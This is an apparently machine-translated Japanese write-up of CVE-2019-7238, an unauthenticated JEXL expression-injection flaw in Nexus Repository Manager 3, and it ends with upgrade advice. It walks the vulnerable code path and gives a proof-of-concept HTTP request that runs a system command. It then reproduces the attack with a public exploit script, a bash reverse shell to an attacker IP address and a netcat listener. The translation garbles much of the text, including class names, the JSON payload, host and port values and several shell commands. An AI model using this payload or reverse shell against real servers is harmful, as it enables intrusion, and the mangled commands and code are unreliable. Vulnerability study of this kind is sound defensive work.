0x00脆弱性の背景
Nexus Repository Manager 3は、Maven、Nuget、およびその他のソフトウェアソースリポジトリの保存と配布に使用できるソフトウェアリポジトリです。 3.14.0および以前のバージョンでは、OrientDBカスタム関数に基づいた任意のJEXL式実行機能がありました。この関数には、許可されていないアクセスの脆弱性があり、任意のコマンド実行の脆弱性につながる可能性があります。 2019年2月5日、Sonatypeは、Nexus Repository Manager 3で、アクセス制御対策が不十分なため、この欠陥を使用して特定の要求を構築してサーバー上のJavaコードを実行することができるというセキュリティ発表を発表しました。
0x01衝撃の範囲
NexusリポジトリマネージャーOSS/Proバージョン3.6.2からバージョン3.14.0
0x02脆弱性の概要
脆弱性の公式の簡単な説明から、不正なアクセスユーザーがリクエストを作成して任意のコード実行を引き起こすことができるという理由だけで、単純に言えます。さらに、3.15.0+以上のバージョンがユーザー認証を追加したため、3.15.0+バージョンはこの脆弱性の影響を受けません。したがって、diffの結果に基づいて、org.sonatype.nexus.coreui.componentComponentの脆弱性を大まかに決定できます。
:
0x03全体的なトリガープロセス
extdirectmodule $ configure:60#バインディングおよびリクエスト解像度extdirectservlet $ dopost:155#dopost:155#request request request request directjngineRvlet $ dopost3:595 #Parse JSONリクエストJSONREQUESTPROCESOR $ Process:119クエリステートメントパッケージパッケージComponentComponent $ previewassets:208#query result browseserviceimpl $ previewassets3:252#build olientdb query statement browseserviceimpl $ previewassets3:258#スプライスクエリステートメントbrowseServiceimpl $ $ $ $ spiewassetets33:262#previewassetset MetadatanodeEntityAdapter $ countbyQuery:221#execute orientdb query contextExpressionfunction $ execute:125#抽出jexl式ContextExpressionFunction $ checkjexlexpression3:154#execute jexl式
0x03脆弱性分析
脆弱性のトリガーは、主にパッケージの解析とJEXL式の実行の2つの部分に分けられます。
1。パッケージ分析を投稿
最初に、Web.xmlでルーティング分析を行う方法を見てみましょう。
org.sonatype.nexus.bootstrap.osgi.delegatingFilterは、すべてのリクエストをインターセプトします。これは、動的なルーティングロードである可能性が非常に高いです。動的ルーティングの読み込みには、対応するモジュールモジュールがコードで構成をルートにバインドし、サーブレットを明示的にロードする必要があります。脆弱性の入力は、org.sonatype.nexus.extdirect.internal.extdirectmodule#Configure :にあります
直接フォローアップorg.sonatype.nexus.extdirect.internal.extdirectservlet $ dopost:
下降し続けて、投稿リクエストを処理する部分を確認します。
ここでは、フォローアップして、JSON形式でリクエストを処理する方法を確認します。
まず、JSONの構文ツリーを解析し、データを抽出します。
アクション、メソッド、TID、タイプ、およびデータの5つの変数が必要であることがわかります。
ISBatchedはパラメーターの長さによって決定され、返された配列の長さは1であるため、IsBatchedはfalseです。次に、ProcessIndividualRequestSinthisThiSthReadメソッドを渡します。
ここで返された結果を構築するとき、ここにはJSONの脱出プロセスがあることがわかります。ここでは、返品結果が主にJSON形式で返されます。
2。 JEXL式の実行
ポストパッケージの分析から、5つのパラメーターを構築する必要があることがわかります。同時に、アクションと方法を構築した後、対応するクラスとメソッドを直接かつ動的に呼び出すことができます。
この脆弱性は、org.sonatype.nexus.coreui.componentComponent#previewassets:に表示されます
まず、repositoryName、expression、およびPostパッケージの入力の値を取り出します。これらの3つのパラメーターは、既存のリポジトリの名前、式のタイプ、および式を表します。
JEXLの処理プロセスに焦点を当てます:
これは単なるインスタンス化されたjexlselectorオブジェクトであり、式を実行するために評価を呼び出さないため、脆弱性のトリガーポイントは他の場所にあることに注意してください。実際の式の実行ポイントは、browserservice.previewassetsのプロセスにあります。これは、この脆弱性で最も困難なポイントでもあります。
org.sonatype.nexus.repository.browse.internal.browseserviceimpl#previewassetsで、プレビューアセットの実装についてフォローアップ:
ここでは、式がSQLクエリを形成するパラメーターとして使用され、OrientDBによって実行されることがわかります。
ただし、OrientDB自体にはコンテンツエクセッショナルメソッドがありません。つまり、この方法はJavaで実装されています。私はそれを調べて、org.sonatype.nexus.repository.selector.internal.contentExpressionFunctionで見つけました:
CheckJexLexPression:
selectorManage.evaluateを呼び出してjexl式を実行します。
0x04コンストラクトpoc
上記の分析を通じて、ポストパッケージ分析で対応するパラメーターを構築する必要があります。以下は例です。
Windows環境の構築:
https://help.sonatype.com/repomanager3/download/download-archives-- Repository-manager-3
https://Sonatype-download.global.sl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz
インストールリファレンス:
https://help.sonatype.com/learning/repository-manager-3/first-installation-and-setup/lesson-1%3a - インストールとスタート - nexus-repository-manager
Windowsへのインストールは成功しました。実行する必要があります(デフォルトパスワード:admin/admin123)
nexus.exe /run
そのPOCは次のとおりです。
POST/SERVICE/EXTDIRECT HTTP/1.1
host:155.138.147.133608081
user-agent: mozilla/5.0(windows nt 6.1; win64; x64; rv336064.0)gecko/20100101 firefox/64.0
Content-Type:アプリケーション/JSON
Content-Length: 308
Connection:閉じます
{'Action':'coreui_component'、 'method':'previewassets'、 'data ': [{' page':1、 'sta rt':0、 'limit':25、' filter ':0 [{'property':'RepositoryName'、 'Value ':'*'}、{' p Roperty':'Expression '、' value ': '' '。class.forname(' java.lang.runtime ')。getruntime()。ex ec( 'calc.exe') '}、{' property':'type '、' value ':'jexl '}]}]、' type':'rpc '、' tid'33604}
この脆弱性では、Nexusに既存のJARパッケージがある場合、局所検証中にJARレポートが最初に送信されることに注意してください。原則分析については、後で分析のために個別に取り出すことができます。
0x05環境構築
1。Ubuntu16.04にDockerとDocker-Composeをインストールします:
(1)。 PIPをインストールします
curl -s https://bootstrap.pypa.io/get-pip.py | Python3
(2)。 Dockerをインストールします
curl -s https://get.docker.com/| sh
(3)。 Dockerサービスを開始します
Service Docker Start
(4)。 Docker Composeをインストールします
PIPインストールDocker-Compose
2。使い方
(1)。脆弱性環境プロジェクトのダウンロード
git clone 3https://github.com/vulhub/vulhub.git
(2)。 Nexus利用環境に入ります
CD vulhub/nexus/cve-2019-7238
(3)。編集環境
Docker-Composeビルド
(4)。次のコマンドを実行して、Nexus Repository Manager 3.14.0を開始します
Docker-Composeビルド
しばらく待った後、環境は正常に開始できます。 http://your-ip:8081にアクセスして、Webページをご覧ください。
パスワードadmin:Admin123を使用してアカウントの背景にログインし、Mavenバージョンの下にJARパッケージをアップロードします。
この脆弱性をトリガーするには、リポジトリに少なくとも1つのパッケージが存在するようにする必要があります。
0x06脆弱性の再発
1。脆弱性エクスプロイトPOCプロジェクトをダウンロードします
git clone https://github.com/backlion/cve-2019-7238.git
2。CVE-2019-7238ディレクトリを入力します
CD CVE-2019-7238
3。CVE-2019-7238.pyを変更します。ここでは、実際の状況に応じて、remote='http://127.0.0.1:8081'およびarch="linux"の値を変更します。
VI CVE-2019-7238.py
4。攻撃者システムでCVE-2019-7238.pyスクリプトを実行してから、NCをリバウンドするBashを入力します
bash -i /dev/tcp/149.248.17.172/2333 01#IPは攻撃者システムのIPアドレスです
5。攻撃者システムでNCリスニングリバウンドを実行します
NC -LVVP 2333
0x07修理提案
現在、役人は脆弱性を変更するための新しいバージョンをリリースしています。対応する最新バージョンにアップグレードするには、上記の[セキュリティバージョン]を参照することをお勧めします。
最新バージョンのダウンロードリンク:
https://help.sonatype.com/repomanager3/download
0x08参照リンク
https://Support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-nexus-repository-manager-3-missing-Access-con-controls-and-remote-code-execution-5th-2019
https://www.lucifaer.com/2019/02/19/NEXUS%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%A3 %E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%
https://CERT.360.CN/REPORT/DETAIL?ID=3EC687EC01CCCD0854E2706590DDC215
https://blog.csdn.net/caiqiiqi/article/details/87204472
https://Blog.51Cto.com/13770310/2351479
https://github.com/vulhub/vulhub/tree/master/nexus/cve-2019-7238